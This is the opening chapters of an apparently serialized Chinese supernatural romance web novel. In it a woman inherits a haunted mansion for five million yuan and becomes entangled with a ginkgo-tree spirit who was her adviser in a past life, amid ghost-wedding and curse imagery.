《我会一直监视你的 gb》
1. 五百万和他
【如果给你五百万,入住凶宅三年,你愿意吗?】
【A.愿意B.不愿意】
手指在平板上干脆利落点下B,并留下评论:这类活动还有网上还有很多,还是再看看吧。
选完此选项两天后。
岑让川开着自己花了八千块钱的小破车大包小包马不停蹄花上十三个小时开车回老宅继承遗产。
当她站在破旧的老宅门前,替她姑妈办理遗嘱继承的律师已经等在门口。
一块定位手表,防水防火防盗不能摘下。
范围只能在镇子里活动。
只能住在宅子里。
中途违约,需赔偿总金额的两倍。
多简单的要求。
岑让川痛快地和律师在卖炒粉的路边摊签下这份五百万的合同。
一旁跟着律师的会计迅速操作,把预定金一百万打进她卡里。
此后,第二年会再给她一百万。
第三年,才算完成合同,尾款三百万。
一共五百万。
一夜暴富的梦想照进现实。
是凶宅又怎么样?
现代社会,难道厉鬼比穷鬼还可怕?!
“祝你好运。”律师和她握手。
岑让川看到他的笑容里似乎带了几分同情,内心不由翻白眼。
怎么着,三年五百万。
是凶宅又怎么样?
她一个月工资七八千,去掉中途可能失业的风险,五百万得从上辈子开始存到下辈子。
上班比住凶宅还可怕。
望着手机里显示的七位数,岑让川感觉自己今天就是世上最幸福的小女孩。
律师走后。
频频向他们看过来的女摊主终于没忍住:“小姑娘,你是要住有大银杏的那个大宅子不?”
岑让川晃晃手里的钥匙:“是啊,咋地了。”
“哎哟,那地方可太凶了。你没发现那周围都没人住吗?你小姑娘家家的怎么敢噢。”
岑让川呲牙:“没事大娘。我本职工作就是驱邪的。”
不过是间接驱邪。
“这么厉害哟,那阿姨不说啥了,你自己个当心点昂。”女摊主也不劝了。
反正不是她住。
摊主还听到那小姑娘是继承这个宅子,住了有钱拿。
她们普通人要是进去了,小命得丢里边。
岑让川付完钱,拖着大包小包心情愉悦地回去宅子。
百年老宅在镇子上的最西边,背靠矮山,面前就是河。
最最重要的是……
岑让川站在砖石桥上最顶端,双手叉腰望着底下占地广阔的老宅。
合同上写的是多少平来着?
她掏出合同,去看上面的占地面积。
个、十、百、千、万……
将近五万平……
她刚刚来这签合同太激动了没仔细看,一看之下,发现过了河后居然整座片地都是她名下的。
宅子唯有中心处是两层楼设计,其余都是低矮房屋走廊组成。在她这个角度看,只能看到长如迷宫的黑瓦,还有外围长苔藓的白墙。一棵合同上写明不可砍伐的大银杏郁郁葱葱,像一个放大版的西兰花支楞在宅子上空。
千年银杏上泛白细线垂落,千丝万缕,像京剧戏台上的须髯迎风飘荡。伸展到围墙外的银杏枝条上边扎着已经褪色的红布条,细看下似乎还有挂着的木牌。
她拉着行李箱走近。
过了桥后,周围没半点人声。
只剩流水潺潺,连虫鸣鸟叫都听不到半分。
岑让川走到厚重的木门前,看到上面有被蛀虫留下的斑驳痕迹。她干脆把钥匙收起来,后退几步,然后猛地冲上去。
“夸拉——”
灰尘四起,已被蛀成空心的木门直接被她踹烂。
“我就知道。”岑让川甩甩刘海上的尘土,“一个破木门还锁什么锁。”
她出去把行李拿上,绕过壁照,径自来到黑沉沉的前厅。
这处明显已经很久没人打理,落下的腐烂树叶和堆积的鸟粪已经把石砖地面弄得又黑又黄,踩一脚上去都嫌脏。
她没了办法,把行李箱放在稍稍干净的地方,往前厅走去。
黑漆前厅大门居然也上了锁。
但岑让川手里只有一把钥匙?她正想打电话问问律师怎么回事,结果对方先打了过来。
“你好,岑小姐。”律师礼貌道,“忘记告诉您一件事,宅子里有一位管家,您要是有什么不懂的事,可以问他。”
“哥们,要是管家跑了呢……”岑让川无语望着手上摸到的一把灰。
这破宅子哪有管家的样子!
大门是可以随意踹烂的,壁照是斑驳的,路面是脏兮兮的,连前厅门锁都布满灰尘……
“您的姑妈留下遗言就这些,其他的我也不知道,若是需要管家帮助,又没有管家,建议您可以在网上挂个招聘。祝您生活愉快。嘟嘟嘟嘟——”
“我靠!”岑让川瞪着手机。
要不要这样?挂这么急,这是怕宅子里的鬼顺着信号爬到他那吗?
得知宅子里可能有管家,她干脆喊了声:“有没有人啊!”
“咔哒”一声。
门上的锁自己打开,重重掉落在地。
宅子里寂静无声。
岑让川摘下脖子上自己亲手雕刻去道观开过光的翡翠佛公,缠在手上。
她不太害怕鬼。
总觉得那是人幻想出来的。
现在下午三点,她还是不进前厅了。
岑让川提着行李箱,自欺欺人地绕过前厅,向从旁边小路上走绕过去。
长长的沿廊通向厢房和主家位置。
中间天井处,是一大片干涸的池塘。
枯枝陷入淤泥,不仔细看,就像一根根手指立在里边。
宅子里一片枯败景色,听不到活人发出的响动。
“有人吗?”她大着胆子又喊了声。
没人应声。
她只好尽快穿过长廊去主家房屋。
岑让川身为玉雕师,多少了解些传统文化,知道宅子格局大差不差都是那样。
果然,走了两三分钟,面前豁然开朗。
一大片空地中间,用白玉雕了块正方形的凶兽图腾嵌入其中。
她蹲下身去看,随意捡了根树杈子把覆盖在上面脏兮兮的黑色东西拨拉开。
怒目尖牙,无角有髯,祥云环绕。
是白虎。
她仔细看了看,没发现什么异常,却感觉如芒在背。
像是有人在暗处盯着自己。
岑让川回头去看,没有人。
面前两层小高楼光线昏暗,被古银杏遮去大半天光。
她后知后觉地看了看自己的腿。
奇了怪了,这地方阴湿破败,植被茂密,应是蚊虫也多,何况这么大棵古银杏在这,怎么没半点鸟叫。
连蚊虫也无……
如同进了一个毫无生气的世界……
岑让川咽了咽口水,又喊了声:“有人吗?”
她已不抱希望。
这破宅子都成这样了,怎么可能还会有人来。
谁知,那二层小楼门前挂着的古式锁头再次掉落。
“咔哒”一声轻响。
大门打开一条缝。
“……”这里其实安了机关,不过是声控的?
合同里没规定她必须睡这吧?
岑让川二话不说,又换地方。
可其他厢房不是突然锁头落地就是堆满杂物。
她咬牙要去另外半边地方,走着走着,又回到主屋门口。
岑让川不信邪,放下行李箱又是老路重走。
结果这次绕行回来后,二层小楼大门已经被打开。
她放在古银杏石桌旁的行李箱却出现在门里。
岑让川:汗流浃背了。
这其实有管家?
但在给自己下马威或是开玩笑?
她安慰自己,丢下行李箱狂奔向宅外。
睡在宅子阶梯上,也是睡在宅子里!
她不违反合同!
岑让川感觉自己跑了很久,回过头来又发现自己出现在主屋门外。
而且比前两次更近了,就差把脚迈进门槛。
“我靠,管家你是不是还在这!”岑让川大骂,“有病吧你,玩这些把戏。再整这些我把你头卸下来!”
她忽然听到一声轻笑从头顶传来。
岑让川猛地抬头,腰上不知被什么东西撞了下,她直接被撞了进去。
黑漆漆的屋子连人带行李箱都砸在地上。
她后脑勺不知砸到什么东西,睁眼望向房梁,却看到一双脚悬在自己上空。
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暗色红嫁衣垂落,青丝披散落下。
一根白绫悬挂房梁,暴突双眼直直瞪着她,长舌吐出。
眼前一黑。
岑让川经不住吓,直直昏过去。
梦境里。
浑身挂满毛爷爷的厉鬼追在她身后喊:“五百万、五百万、你不是想要吗!快来啊!快来啊!”
恐惧到极致就是愤怒。
她蓦地转身……
一双手轻轻托起她磕出血的脑袋,正要替她处理。
昏过去的女人却倏然睁眼,一脚踹来。
黑暗里只听到一声闷哼。
脖颈忽然被掐住,略尖的喉结在她布满老茧的手心里滚动。
岑让川闻到对方身上的似是春茶又似是树叶零落成泥散发出的腐败香气,鬼使神差地低头吻住对方冰凉的唇。
他先是挣扎不愿,乱踢乱蹬。
后来也不知道是因为岑让川吻技好还是他太久没被抚慰,在升起的温度中他慢慢停止挣扎,被她压着任她为所欲为。
岑让川扯下自己腰上的绳索腰带,捆住对方双手,绑在沉重的雕花木桌椅腿上。
他不会说话,想要反抗,却被她撩出火,每寸肌肤都在发热,逐渐把理智燃烧殆尽。
伸手不见五指黑的屋子,顿时只剩下唇舌交缠的靡靡细响。
失去视觉后其余感官异常敏锐。
她触摸到对方的皮肤,光滑细腻。头骨圆润,眉弓高,显得眼窝深邃。鼻梁高挺,点在她脸上,二人接吻需歪着头才能深入缠吻。
闻着他身上的气味,加上手下触摸到的信息。
岑让川恍恍惚惚想起这十几年里梦到的那个少年。
他胸口插着剑,跪行至自己面前,直到临死前都还哭着求着要她相信他。
自己非但没有相信,反倒变本加厉,一剑抹了他脖子,给他个痛快。
鲜血迸出,他捂着脖颈,惨笑与痛苦交织,渐渐失去生息。
雨水浇在他身上,墨色长发与鲜血交融在积洼的水坑中。
面容被覆上一层水色。
只依稀记得,是个风华绝代,气质温润柔和的男子。
外边似乎要下雨,隐隐有轰隆雷声。
雷电无声,一瞬间照亮屋子。
她看清黑暗中那种脸,与梦中少年重合。
凌乱墨发散在地上,长至腰际,发尾用金色圆筒束住,几缕碎发贴在脸上,额上微微出汗。他浅色的眼瞳似是浸润一层水色,透着难言的欲色与渴求。
戴在他脸上的单边金丝眼镜连着链,掉在耳边。
穿着的白色仙鹤暗纹上衣,扣在脖子处的盘扣不知何时被解开。书卷气息由内而外,看着柔和却并不柔弱。
岑让川望着他,动作不自觉温和几分。
他却好像不满,用湿淋的双眸望过来。
这一刹那,岑让川认了,哪怕对方是鬼是精怪,自己今天非得尝尝滋味。
她重新低头,他以为她要继续亲吻,却没想到她轻轻咬上他的耳廓,沿着耳垂一路往下,吻在那颗像玉石般的喉结上。
他从喉间溢出低吟。
太久没经历过,一朝重逢就直接做这种事他也没有想到。
衣物褪去,那股馥郁的茶香混着草叶气息愈发浓郁。
熟悉的气息岑让川像是回到以前,跟着制茶师傅学习制茶时的情景。
初雨后的茶园弥漫着雨后略带凉意的草木香气,她游走于茶园,采摘下茶树上的嫩芽,把摘下的茶叶倒入热锅中揉捻,直至成型,露出本来面貌,为炒干成条打好基础。
等到步骤一步步做好,她不急着打包,而是会将茶叶放入紫砂壶,倒入开水。
让第一泡茶水沿着杯沿浇下,直至白色泡沫随着茶水溢出,淌入茶盘。
然后再倒第二杯茶,刚好七分满,去细细品尝自己炒出的茶。
茶水滚烫,不小心流到地上。
似他眼角泪水。
晶莹剔透。
她想,用他的泪泡茶,会不会也如山泉清冽?
他已是不能回答,疲惫至极后昏沉到几乎要睡去,却仍打起精神,脚步不稳地带她上二楼。
烛火暖融。
二人影子再次纠缠在一处。
窗外雷声轰鸣,大雨滂沱。
所有喑哑、低沉的声音都将湮没雨中。
无声无息。
2. 中元遇诡事
翌日,淅淅沥沥的小雨随风吹入破破烂烂的窗棂。
雕花红木床上,连一床被子都没有。
昨夜下雨冷,只盖了一件外套在肚子上。
主屋二楼卧房,各色红木家具摆放在原来位置上没有挪动过的痕迹,厚厚灰尘蒙在上面,肉眼看至少有百年未曾有人收拾过。
连黄澄澄的铜镜都已看不出原本的色彩。
岑让川从屋里唯一一处干净的床上爬起来。
正好和在穿衣服的少年目光对上。
昨夜雷鸣电闪,惊鸿一瞥。
今早看清少年样貌后除去惊艳,心中还升起一丝异样的恐惧。
墨色长发遮挡住了他的长眉,生着一双看谁都深情的眼眸,偏生透着股冷淡的味道。他嘴唇紧抿,昨夜太过激烈,嘴角残留着伤痕。白到近乎透明的肤色,耳廓脖颈处皆透出斑驳红痕。
岑让川视线下移,看到他胸口处也被自己昨夜留下痕迹。
少年觉察到她的视线,背过身去,连忙把绣满暗纹的上衣穿好,还把喉结下第一颗盘扣扣上,生怕她怎么着了一样。
容貌、背影,皆与她二十年梦境里的少年重合。
那个在雨天跪行到她面前,哭求她一定要相信他的少年。
自己亲手杀死的少年。
临死前说绝不原谅她的少年。
随着她年龄越来越长,朦胧不清重复播放的画面也越来越清晰。
直到要签订合同的前几天,已如身临其境。
他眼中滚落的泪与雨水融合,红血丝密布,眼眶红得像要流下血泪。
他朝自己伸手,手上全是鲜血,口中说着哀求话语。
可自己依旧毫不留情杀了他……
想到这,岑让川忽而想到什么。
她光着脚几步来到他面前,紧紧盯着他问:“你叫什么名字?!是这的管家吗?”
少年不说话,似是不好意思,不敢与她对视。
低下头去,他看到她脚上的尘土,抿抿唇。
“不是,我们都睡了。你有什么不好意思的?”岑让川无语,“你昨天……”
她蓦地住嘴。
昨晚少年喘息声贴在耳边,甚至抵达顶峰时溢出过难耐的低吟,除此之外,好像……并没有听到他说话?
岑让川急于知道他的身份:“你会说话吗?”
他望着她,眼中闪过怨怼,却依旧以摇头的动作回应她。
不会。
不会说话?
是个哑巴?
岑让川又问:“你会不会写字?”
他点头。
岑让川立刻把他拉到圆桌前:“先写你的名字。”
睡都睡了。
总不能真不知道人家名字。
少年看她一眼,伸出一根食指,在铺满灰尘的桌子上写下两个字。
岑让川盯着那两个字看了会,抬头说:“哥们,写点新中国成立后的文字可以吗?”
他看着她,微微拧眉,似是不懂她什么意思。
岑让川没了办法,打开手机摄像头,把他写的两个字拍下后用字体翻译器再翻一遍。
[字体未能识别]
岑让川:?
她不信邪,点开手写栏那一项,一笔一捺仿照少年字迹写。
[字体无法识别]
“你玩我呢?”她有点生气去看少年。
他所站的地方空空荡荡。
别说脚印,一根头发都没留下。
屋子里只剩她一人。
更确切的说,好像只有她。
四周寂静。
她下楼看去,昨夜疯狂过的地方干干净净。
什么都没有。
那少年似是她臆想出来的般。
手机在这时震动,吓了岑让川一跳。
拿出来一看,是做社畜时留下的闹钟。
岑让川没注意的是,手机上显示的时间。
[8月18]
中元节。
她在宅子里走了半天,根本没找到人在哪不说。
这还没水没电,那她日常所需怎么办?
岑让川绕回主楼,眼角余光蓦地扫过一个奇怪的东西。
主屋楼旁的大银杏……
她僵硬地转过头去看。
大银杏上褪色的祈福牌不知道什么时候,变成白色的骷髅头。
原本阴沉的天色,变得愈发昏暗。
明明是早上,却黑得像要入夜。
一道惊雷劈过,银杏猛地震颤。
眨眼间。
那些骷髅头又变回祈福牌,不断在风中撞击,发出类似风铎的声响。
岑让川捂着自己快跳出喉咙的心脏,赶紧搜索附近的道观或是寺庙。
她走出没两步,刚走到沿廊下,忽然觉得小腿上毛乎乎的。
惊雷照亮地面。
一抹黑影出现在她身后。
岑让川慢慢回头,却什么都没看到。
她迅速跑出门去,连找把伞的勇气都没有。
这次很顺利出了门。
过桥、穿过牌坊,街上空空荡荡。
昨天卖炒粉的阿姨今天没有出摊。
她沿着导航穿行过巷子,来到一处山脚下。
天色已黑,随时可能下大雨。
她一咬牙,冲上那条山间小径。
两旁野草丛生,几乎有半人高。草木葳蕤,越往山上走杂草越高,把山上另一端遮挡地看不到。
此时,豆大雨点落下。
她看到有个暗红色屋顶在左前方隐隐绰绰。
导航在此时响起。
[您已偏离路线,请按导航指示……指示……重新、为您……规划……]
提示音断断续续不算,还接连换了四五个声线。
可她的手机里,只有默认女声……
岑让川心里发毛,去看屏幕,只剩下卡个不停的画面。
[规划——]
唢呐声骤然响起。
音量调至最大。
默认女声冰冷传出。
[您已抵达终点。]
大雨倾盆,山间起雾。
她不得不去导航说的地方避雨。
而真正的终点,湮没在升起的浓雾中。
岑让川抓着手机,淋雨跑进那有着红色屋顶的废弃小庙。
她刚进庙里,山路上冲下一条混着黄泥的水流。
只要她晚进来一秒,就会被冲走。
浓雾中。
一抹红色像水墨画中晕开的颜料。
飘飘忽忽,由远及近。
手机再次传出唢呐声。
她吓得手一抖。
那不知用了几百年的破手机登时在地上砸地屏幕四分五裂。
扬声器中不断传出尖利的敲锣打鼓喜庆乐曲。
见那抹红色越靠越近,她顾不得害怕,忙拾起手机想要关机。
长按电源键强制关机按了许久也关不掉。
她心一横,把手机砸进外边泥石流中。
反正有一百万,她行李箱里还有现金!
没想到的是那一千来块的国产手机这个时候如此坚/挺,即使被泥水吞没也能发出音乐。
大雨滂沱,废弃小庙。
失灵手机,孤身一人。
泥水肆流,路遇诡事。
恐怖片元素给她集齐,她难道要命丧在这座小破庙?!
山雾中已经依稀能看到一顶红色小轿。
女人哭声时远时近。
打头前方,一盏红灯笼不惧雨势,架得高高的。
两旁穿着红色唐装的“人”动作僵硬,细细看去,整条队伍二十几“人”和物品,居然都是纸扎的!
岑让川脚下生根,立在原地不敢动。
身后小庙根本没地方躲,一眼就能扫遍全貌。
半人高的神像,似被人拿小刀锤子等物刮得面目全非。满地灰尘,香烛香烟放在桌案,底下明黄色垫布已经成灰色,一扯就碎。
冰冷浸透全身,她四肢百骸都跟身处冷冻库似的,即将结霜。
再给岑让川一次机会,她宁愿呆在那座破宅子里!
她目光透出的恐惧过于浓烈。
红事队伍仅离她不足五米时,所有纸人像得到什么指令,乐器声倏然停下,缓缓望过来。
走在最前边提灯的老男人满脸阴鸷,矮小身躯佝偻着。因为患有侏儒症,大半身体淹入泥水,只余锁骨以下的位置在泥水上。
他却毫不在意,用灯笼指引飘在泥水上的花轿队伍。
岑让川瞳孔骤然紧缩。
是他?
她前老板身边的风水大师?!
侏儒男即将能看到她的前一刻,一把青色油纸伞飘来,落在她头顶。
岑让川下意识侧过脸望去,
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看到的却是在凶宅里消失的少年。
她死死捂住嘴,不敢叫出声。
侏儒男满身泥水,朝她们走来。
少年冰凉的手捂在她嘴上,微微摇头。
这个时候,该信谁?
昨天在古宅跟她有一夜/情但未明身份的漂亮少年。
今天偶然撞见行为诡异、看起来不像好人,但可以确定是人类的侏儒风水师。
岑让川仔细端详少年面容。
很清冷中式的长相,气质……
不对,他怎么感觉和宅子里跟她睡过的少年不太一样?
这个和凶宅里不会说话的少年明显冷淡许多。
岑让川不动神色,伸手触碰他从中式锦缎衣袖中露出的一节腕骨。
触手冰凉,并不是人该有的触感。
少年看过来,不明所以。
侏儒风水师走来,已至近前。
“你……”你不是人!
她只来得及吐出一个字。
油纸伞围绕她们突然落下一层树须,直接将岑让川裹成蚕蛹。
少年带着她后退一步,正巧躲过侏儒风水师伸来试探一抓。
“奇怪,怎么听到人声?”侏儒风水师嘀咕,嗓音像被砂纸磨过,嘶哑如蛇吐信。
他掏出一个法器,看着像是核桃的东西入庙,里里外外搜寻许多,见没有异常,这才提着灯,重新走到喜事队伍前。
纸人死死盯着小庙方向,不肯转头。
只有岑让川知道,他们在盯着自己。
后背冒出冷汗,她在无数树根中不断挣扎。
少年撑着油纸伞,挡在她身前。
那些纸人才缓缓转回头,抬花轿离开。
大风裹挟雨水吹开轿帘。
同时吹开的,还有轿中新娘的盖头。
不是?
她请问呢?
她前老板一家都来这度假?
轿中新娘分明是她前老板的女儿。
再仔细看看是不是还能看到前老板的三大叔八大伯?
可惜没有。
队里就那么两个人是她熟悉的。
还都处在这么诡异的场面。
她恍惚间想起前老板那封建迷信的德性,不敢再往下猜。
树根缠绕下,岑让川不再挣扎。
直到唢呐声响起。
花轿队伍重新出发。
他们匆匆路过小庙,匆匆走入浓雾。
如来时那样,重新氤氲在洁白画纸上,化成一抹红色,逐渐消失不见。
又过好一会。
少年总算肯放开她,皱眉回头问:“你身上怎么有他的味道?”
岑让川一脚把他踹进泥水中,捡起水里的手机往山脚下冲去。
那少年急了,不顾满身泥水,赶紧追上来。
浓雾中。
雨水潮湿,顷刻间把她淋成落汤鸡。
岑让川跑着跑着,山脚陡然间平坦。
她看到不远处有盏灯笼插在墓碑旁,挂在长杆上飘飘忽忽。
脚步一顿。
她看到墓碑上写着:爱女刘缔之墓。
立碑人:刘庆远。
在她身后,少年追了上来,吼道:“不要靠近!”
岑让川哪敢靠近那座孤坟!
她更不敢靠近朝她追来的少年。
岑让川此刻万分确定他不是人。
哪有人的皮肤触感像他这么冰冷,像在摸一个瓷器。
浓雾之中,分辨不清方向。
路过孤坟后再找不着其他。
脚下被什么东西绊了下。
她差点摔倒。
回过神后却发现自己出现在古宅。
不对,她明明……
岑让川绕过壁照。
不期然地望见那名消失的少年。
脚步声响起,伴随喘息声,在小庙遇到的少年也追了进来。
岑让川惊惧不已,背靠墙壁,左右互看。
怎么长得一模一样?!
可经小庙少年一衬托,古宅少年明显木讷许多,像个无神的木偶。
小庙少年看了看他,又看了看岑让川。
脸上疑惑的表情逐渐化为愤怒,他眼神如刀,飞向岑让川,咬牙切齿,一字一顿。
“你居然把我睡了?!”
这下轮到岑让川惊疑不定:“你们、不是两个人吗?!”
3. 都是他
那声“你居然把我睡了?!”把岑让川雷得够呛。
她睡的明明是另外一个!
也不知道怎么她就鬼迷心窍,一晚上把人按住以不同姿势睡了好几遍。
睡醒后刚升起一丝愧疚,少年就给她表演原地消失术。
来这之后发生的一切都诡异得要命。
电闪雷鸣,滂沱大雨。
她面对两个长得一样的少年,忙把手腕上的佛公露出来,威胁道:“别过来啊,小心我……度化你们!”
“这么一个劣质的小玉石你打算度化谁?”小庙少年嫌弃道,“翡翠商家营销出来的东西,驱邪挡灾?你真信了?”
他说完,晃了晃手指头。
那小佛公登时化为齑粉。
“……”岑让川立马滑跪,“对不起我错了,放过我吧大哥。我就想赚点小钱,结束贫困潦倒的一生!睡了你兄弟是我不对,要不这样,我手头二十万,咱俩平分?我给你烧十万的纸,豪宅豪车一律包齐,您是想要大平层还是五楼小别墅?豪车要法拉利还是劳斯莱斯?”
少年笑了:“我托你姑妈先给你定金一百万,全款税后五百万,你竟只想用十万打发我?”
“……哪,哪有。”岑让川硬着头皮说,“我,我只拿到二十万。”
“不说实话的人。”少年弯起嘴角。
雷光乍响。
少年半张脸被照亮,眼中俱是冰冷的笑意。
“是会被吊在树上。”
他身后屋檐银杏树枝上悬挂的祈福牌变幻。
骷髅头下吊起一具白骨化尸体。
远远看去,那些枯骨恍若垂落的僵死蛆虫。
雨水滴落在骨节上,反射出凌厉水光,似蛆蝇汇聚成长条状虾条,随时能膨胀炸出一堆腐烂物。
岑让川想起那五百万和以前的生活,比死还可怕,心一横:“其实是五十万,我姑妈找的律师吃回扣。”
小庙少年高高扬起手,指尖化作根须,尾端尖锐如针,下一秒就要扎透她的脑子。
就在这时。
站在岑让川身旁的古宅少年忽而挡在小庙少年面前。
“你要做什么?!她已经毁你千年,你难道还要给她机会!”小庙少年双目赤红盯着他,冷笑:“我早该看出来,你若是不愿意,怎么会让她睡?我不过是你的执念,即使你身体里其他东西都被剥离,你依然不肯放弃是吗!”
他像是在讲给她们听,又像是在质问自己。
岑让川看不清古宅少年的表情,只知道从他背影透出一股浓烈的悲伤。
小庙少年满眼都是说不清道不明的杀意,他恨声道:“既然如此,那我……!”
他话音未落。
一根枯枝拔地而起,直直插入他的心脏处。
绿汁四溅。
淋了古宅少年半身。
同时溅上岑让川长发。
血肉搅动声中,浓液汩汩流出。
丝丝缕缕根须犹蚕吐丝,缓缓缠上小庙少年的每寸身躯。
“你竟然……要、抹杀我……”
小庙少年不甘望着古宅少年,眼中渗出的泪竟是清透绿色,“为了她……你要……杀了你自己吗!”
岑让川悄无声息爬出去一段路,听到这句话,忍不住回头去看他俩。
脚腕上忽而缠来粗壮树根,硬生生拖着她。
挣扎地越厉害,缠绕地越紧。
手边找不到趁手利器,她干脆停在原地不动。
要不然她的腿要勒断了。
那边。
两个非人少年自相残杀。
树须为茧,完完全全将小庙少年包裹成团。
随后,古宅少年脚下也生出树须。
两个绿色人茧伫立在瓢泼大雨的檐廊下一动不动。
片刻后,又有一层树须把他们同时包裹在一处,像一个随时切开会发现里面有两个蛋黄的双黄蛋。
如此诡异时刻。
岑让川肚子发出“咕噜”一声。
早餐没吃。
午饭饭点已过。
她欲哭无泪躺在地上,膝盖以下全是缠绕上来起来的根须。
每一根都传来清晰的震动,像一条条筋脉跳动着、滚动着……
古宅方圆十里无人敢靠近。
哪怕里面传来求救声。
手机刚刚折腾一通,爆屏、后盖开裂、死机。
她彻底失去与外界的联系。
人在绝境的时候会出乎意料地平静。
平静到生出淡淡的死意。
这一把铡刀就悬在自己脖子上,随时可能落下。
岑让川现在就在等这把刀落下。
她等饿了、等困了、等累了,躺在冰冷的地上,犹如一条死鱼。
绿茧子是一动不动。
雨下了两个时辰才停。
岑让川迷迷糊糊睡过去。
直到天色擦黑。
古宅光线暗下。
四周寂静,没有半点声响。
雨后寒凉,冷意侵入皮肤。
绿茧终于有些许动静。
上面紧紧缠绕的根须开始松散,生机勃勃的绿色根须逐渐枯萎泛黄,绿色汁液溢出,流淌在地。
岑让川醒来时已经是后半夜。
趴着睡的姿势让半边脸都麻了。
脚上束缚消失,一盏灯放在她旁边。
她身上还披了件薄外套,有点像是……
视线上移。
岑让川望见不远处有只脚,穿着白靴懒散地斜横着。
消失的古宅少年整个人斜斜坐在木栏上,背靠柱子。
冷冷清清的月光洒在他脸上、身上,清冷地不可思议,恍若月华银辉凝结而成。
少年已是换了身蓝色盘扣衣衫,浅色长裤。
同色系月白麻布做成的发带捆住墨色长发,几缕碎发垂下,虚虚遮掩住侧颜。
他眉骨高,显得双眼深邃,即便生得温和,也有几分自带的冷峻,显得并不是太好说话。
岑让川像蛆一样想要蠕动远离,才动了一下,墙上影子也跟着晃动。
光影变化最是明显。
少年回头,顺着墙上的影子往下看去。
“醒了?”他问。
岑让川趴地上装死,手指尖触碰到浓绿汁液,有一股浓浓的植物清新气在鼻息间萦绕。
她已经确定少年不是人也不是鬼,具体是什么怪力乱神的玩意她哪敢猜!
从小寄人篱下一贫如洗的生活让她无法放下五百万。
她太渴望财务自由,能有自己的住所,不用漂泊无依,不用看人脸色。因为这强烈的渴望,她连死都不怕。
她必须活下去,才能得到这一切。
耳朵贴着地砖。
她能清楚听到他缓行到近前。
馥郁绿植香气飘来。
岑让川持续装死。
少年伸手替她拉了拉外套衣角,触碰下她的脸颊,似乎在确认体温。
随后,他轻声说:“我知道你醒了。”
岑让川一动不动。
“算了,你听我说就好。”少年把她半抱起来,让她倚靠在自己身上,免得躺久着凉。
岑让川有点装不下去,却依旧不动弹。
“我不是人,是宅子里的那棵古银杏树……”
他话没说完,岑让川直接弹起来:“啊?”
“不装了?”少年偏头看她,“镇上有一家卖馄饨的店,我们在那说话吃晚饭,你会不会没那么害怕?”
害怕?看在五百万的面子上,她能忍。
她饿了一天,饿得头晕眼花,这是真忍不了。
少年扶起她,手掌冰凉。
他拉着她往宅子外走,踩过那滩绿汁,这才说:“我叫银清。未来,我们都是要在一起,希望你能……”
他停在这,没有说下去。
岑让川在这
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时问:“他、他呢?”
“我就是他。”
门栓抬起,两扇沉重的木门发出“嘎吱”一声音调。
月光把二人影子拉得细长。
他们过了桥。
来到附近小巷的馄饨馆。
小镇没有夜生活,过了九点几乎没人再出门。
加上下雨,深深浅浅的浓黑中,便只剩那团晕开的暖黄。
大娘已经准备打烊。
看到有人进来还是决定再往后拖一拖。
店内已经打扫干净。
岑让川带着他识相地坐在门外小桌凳上。
不多时。
两份小馄饨上桌。
热气袅袅,浮在汤面。
青绿小葱点缀,奶白透色的馄饨皮拖出长尾。
等岑让川吃下一碗。
大娘已经困得头枕靠在椅背上打盹。
岑让川往周围看了看,这才低声问:“你用五百万诱我到这,究竟想想让我为你干点什么?还有,为什么你说,他……是你?你究竟是谁?妖怪?精魅?”
“我们先说第一个问题。我为什么要用五百万把你引来。你应该梦到过我。千年以前,你曾以女子之身登上帝位,我是辅佐在你身侧的谋士。你疑心我对你不忠,抓住我错处后……”
他没有再说下去,轻描淡写地指了指胸口,继续说:“死后,我太过怨恨你。附身于银杏树,日积月累,成了现在这副不鬼不妖的模样。你不必害怕我,因为我还需要和你一起解开诅咒,这样我才不会被困在这。”
“等等,诅咒?什么诅咒?”
他的诅咒是被困在宅子里,那她呢?
联想到她前二十几年穷困潦倒的人生,岑让川脸都绿了,哆嗦着声音问:“我的诅咒,不会是穷得叮当响……?老了沿街要饭?”
“嗯,只是其中。”
“还有呢?!”
“英年早逝。”银清喝了一口晾凉的茶水。
他没有说完全。
当年他说不出口的爱意与恨意交织下,有过一瞬间,想把她从帝位云端上拉下来,好好看清楚自己这颗心。
因为欲念过深,孟婆汤也无法浇熄心中火苗。
他作为孤魂野鬼四处游荡,机缘巧合下附着在银杏树上。
原本他有大把机会可以报复她,终究因为舍不得,一拖再拖,也因此恨意愈发强烈。
她前世并不爱他,只是爱他的才华。
替她达成心愿后,便作为弃子丢弃。
他死后成为一棵大树。
从百姓口中得知她杀了他后化解危机,将国家治理得有多好。
她从一个受尽屈辱的城主之女,一步步得到权位,不顾背上骂名,毅然决然走上那条通往权力巅峰路途。
为此,不惜一切代价。
他作为牺牲品,替她扫平未来五年的障碍。
多划算的买卖……
可是,他也曾是人。
会哭、会疼、会怨恨……
岑让川黑脸:“我算听明白了,诅咒源头说来说去不就是你?!”
“嗯。”他望着她,似透过她看着千年前的时光,“因为,我曾心悦于你。”
所以才会见面第一日便容许你对我为所欲为。
岑让川没想到他会这么回答,一堆脏话登时止在牙关后。
“第二个问题,我想请你来这……”他告白归告白,也要与她说清楚究竟请她来做什么,“现在我已经不是完整的我,千年时光我已经分裂过太多次,几乎是百年分裂一次。请你帮我找回我的分身,就像你之前碰到过的‘我’。”
“我拒绝。”
还百年分裂一次,一千年,他至少分裂出十几个自己。
“你不会想要拒绝的。”
“为什么?”
“因为导致你穷困潦倒又福薄命短,我分裂出去的‘我’是重要原因之一。”
岑让川拍桌。
4. 我也是你的所有物
当晚。
说清一切事情后,她没有再梦到曾经一剑捅死银清。
万千雨丝落下,如绵绵蚕丝,落入小镇。
青石板砖湿漉漉的。
不论过去多久,未被开发的小镇依然保留着民国时期的模样。
河边草木茂盛,有双绿油油的眼睛从草里探出,静静望着桥上的二人。
少年微微招手,那双眼睛便消失在草丛中,传来窸窸窣窣声。
岑让川躲在他身后,默默探出头,好奇地望着那条黑色痕迹从草丛中蜿蜒而上,蹦上岸边。
她这才看清那是一只黑猫。
“我可以养猫吗?”银清忽然问。
“啊?”她愣住,不明白他为什么要问自己。
他抱起猫,露出淡淡的笑意,用目光询问她。
那只黑猫在他怀里探出头,歪头望向她。
被一人一猫这么看着,岑让川不明所以:“你问我干嘛?”
银清叹口气:“你现在是宅子主人,不经你允许,谁都不可以进入。你没发现,宅子里连虫子和鸟都没有吗?”
“……我说怎么宅子半点声音都没有。”岑让川嘀咕,“我明天请些人过来,清理下院子。太脏了。”
“不会有人来的。”银清抱着猫慢慢从她身边走过。
“为什么?!”
“你忘了?这是凶宅。镇子上不会有人来。”
“请外边的人呢?”
